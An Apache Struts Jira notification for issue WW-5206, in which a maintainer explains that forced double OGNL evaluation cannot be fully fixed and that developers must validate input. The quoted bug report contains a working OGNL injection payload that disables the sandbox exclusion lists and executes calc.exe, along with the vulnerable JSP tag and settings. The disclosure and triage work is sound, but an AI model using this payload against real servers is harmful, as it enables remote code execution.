[
https://issues.apache.org/jira/browse/WW-5206?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17577605#comment-17577605
]
René Gielen commented on WW-5206:
---------------------------------
I concur with [~lukaszlenart]. The fix in S2-061 addressed a very particular
vector, for which the applied fix seemed to be feasible. It was not, which is
why S2-062 addressed the incomplete solution for this particular vector.
In contrast, and this is what the disclaimer in S2-062 is about: there is no
way to completely fix this kind of forced double evaluation issues. Developers
*must* validate input which is passed to forcibly evaluated attributes and
tags, or (better: and!) omit forced evaluation in the first place.
>From that point of view it does not make sense to update S2-062. IMO what does
>make sense is to re-evaluate if the user facing documentation is explicit
>enough about that fact and the consequences involved? [~amael], do you have an
>opinion how a more concise and clear documentation could look like? Especially
>here:
[https://struts.apache.org/tag-developers/tag-syntax]
[https://struts.apache.org/security/#do-not-use-incoming-untrusted-user-input-in-forced-expression-evaluation]
> OGNL execute arbitrary code
> ---------------------------
>
> Key: WW-5206
> URL: https://issues.apache.org/jira/browse/WW-5206
> Project: Struts 2
> Issue Type: Bug
> Components: Core
> Affects Versions: 2.5.30
> Reporter: Benjamin Lepeigneul
> Priority: Trivial
>
> Hi,
>
> I can run arbitrary code with version of struts 2 - 2.5.30.
>
> +*JSP code :*+
> <s:textarea
> label="%\{getText('information.message.erreur')}"
> id="messageErreurTexte"
> name="formInformation.message"
> cssClass="input-messageErreur"
> value="${pageInformation.message}"
> />
>
> +*If I write this text in my form input textarea :*+
> %\{(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map.setBean(#request.get('struts.valueStack')) ==
> true).toString().substring(0,0) +
> (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map2.setBean(#request.get('map').get('context')) ==
> true).toString().substring(0,0) +
> (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0)
> +
> (#request.map3.setBean(#request.get('map2').get('memberAccess')) ==
> true).toString().substring(0,0) +
> (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet())
> == true).toString().substring(0,0) +
> (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet())
> == true).toString().substring(0,0) +
> (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec(\{'calc.exe'}))}
> Whenever the page is displayed, the binary calc.exe is executed.
>
> My generic struts params :
> * struts.ognl.allowStaticMethodAccess = true
> * struts.ognl.expressionMaxLength not set
> * struts.devMode = false
> * struts.ui.theme = simple
>
> Is it normal ?
>
> Thanks.
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
